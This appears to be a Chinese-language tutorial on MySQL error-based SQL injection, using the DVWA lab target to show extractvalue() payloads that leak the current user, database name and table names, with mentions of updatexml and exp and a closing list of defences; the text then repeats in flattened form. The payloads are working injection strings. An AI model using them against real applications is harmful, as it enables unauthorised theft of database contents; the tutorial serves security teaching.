SQL注入系列篇 | 报错注入
字数 1018 2025-08-11 00:55:07

MySQL报错注入技术详解

一、报错注入概念

报错注入是一种利用数据库执行SQL语句时的错误处理机制来获取敏感信息的攻击技术。其核心原理是:

  1. 数据库在执行SQL前会先进行语法检查,如果结构错误会直接返回结构性错误
  2. 通过构造特殊SQL语句,使其结构正确但执行时会触发错误
  3. 从数据库返回的错误信息中提取出我们想要的数据

关键点

  • 必须保证SQL结构正确,才能进入执行阶段
  • 错误信息中会包含查询结果
  • 适用于服务器未正确处理数据库错误的情况

二、报错注入流程示例

以DVWA靶机为例,演示完整报错注入流程:

1. 确定注入点类型

首先确认注入点为单引号字符型,且后台SQL查询返回2列数据。

2. 基础报错注入

构造输入:

1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) #

解释:

  • 1':与后台SQL的单引号闭合
  • extractvalue():触发错误的函数
  • #:注释掉后续SQL

3. 获取数据库信息

修改payload获取不同信息:

获取当前用户:

1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) #

获取当前数据库名:

1' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) #

获取所有表名:

1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e))) #

三、extractvalue函数原理

extractvalue(xml_document, xpath_string)函数用于查询XML文档:

  • 第一个参数:XML文档内容或路径
  • 第二个参数:XPath格式的查询字符串

报错原理

  1. 构造的第二个参数不满足XPath格式
  2. 数据库执行时会解析参数,将查询结果(如select database())拼接到字符串中
  3. 最终形成的字符串(如~dvwa~)不符合XPath语法
  4. 数据库报错时会显示这个非法字符串,从而泄露数据

四、后台SQL拼接原型

原始SQL:

SELECT first_name, last_name FROM users WHERE user_id = '$id'

拼接后的实际SQL:

获取用户:

SELECT first_name, last_name FROM users WHERE user_id = '1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) #';

获取数据库名:

SELECT first_name, last_name FROM users WHERE user_id = '1' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) #';

获取表名:

SELECT first_name, last_name FROM users WHERE user_id = '1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e))) #';

五、其他报错函数

除了extractvalue外,MySQL中还有其他可用于报错注入的函数:

  1. updatexml():与extractvalue类似,用于更新XML文档
  2. exp():利用数值溢出触发错误
  3. multipoint():空间数据函数,参数错误时泄露信息

六、防御措施

  1. 关闭错误回显,不向用户展示数据库错误信息
  2. 使用参数化查询或预处理语句
  3. 对用户输入进行严格过滤和转义
  4. 设置数据库用户最小权限

七、总结

报错注入是一种高效的信息获取技术,通过:

  1. 构造结构正确但执行会出错的SQL
  2. 利用数据库错误处理机制
  3. 从错误信息中提取敏感数据

掌握报错注入技术有助于更好地理解数据库安全机制,并采取有效措施防范此类攻击。

MySQL报错注入技术详解 一、报错注入概念 报错注入是一种利用数据库执行SQL语句时的错误处理机制来获取敏感信息的攻击技术。其核心原理是: 数据库在执行SQL前会先进行语法检查,如果结构错误会直接返回结构性错误 通过构造特殊SQL语句,使其结构正确但执行时会触发错误 从数据库返回的错误信息中提取出我们想要的数据 关键点 : 必须保证SQL结构正确,才能进入执行阶段 错误信息中会包含查询结果 适用于服务器未正确处理数据库错误的情况 二、报错注入流程示例 以DVWA靶机为例,演示完整报错注入流程: 1. 确定注入点类型 首先确认注入点为单引号字符型,且后台SQL查询返回2列数据。 2. 基础报错注入 构造输入: 解释: 1' :与后台SQL的单引号闭合 extractvalue() :触发错误的函数 # :注释掉后续SQL 3. 获取数据库信息 修改payload获取不同信息: 获取当前用户: 获取当前数据库名: 获取所有表名: 三、extractvalue函数原理 extractvalue(xml_document, xpath_string) 函数用于查询XML文档: 第一个参数:XML文档内容或路径 第二个参数:XPath格式的查询字符串 报错原理 : 构造的第二个参数不满足XPath格式 数据库执行时会解析参数,将查询结果(如 select database() )拼接到字符串中 最终形成的字符串(如 ~dvwa~ )不符合XPath语法 数据库报错时会显示这个非法字符串,从而泄露数据 四、后台SQL拼接原型 原始SQL: 拼接后的实际SQL: 获取用户: 获取数据库名: 获取表名: 五、其他报错函数 除了extractvalue外,MySQL中还有其他可用于报错注入的函数: updatexml() :与extractvalue类似,用于更新XML文档 exp() :利用数值溢出触发错误 multipoint() :空间数据函数,参数错误时泄露信息 六、防御措施 关闭错误回显,不向用户展示数据库错误信息 使用参数化查询或预处理语句 对用户输入进行严格过滤和转义 设置数据库用户最小权限 七、总结 报错注入是一种高效的信息获取技术,通过: 构造结构正确但执行会出错的SQL 利用数据库错误处理机制 从错误信息中提取敏感数据 掌握报错注入技术有助于更好地理解数据库安全机制,并采取有效措施防范此类攻击。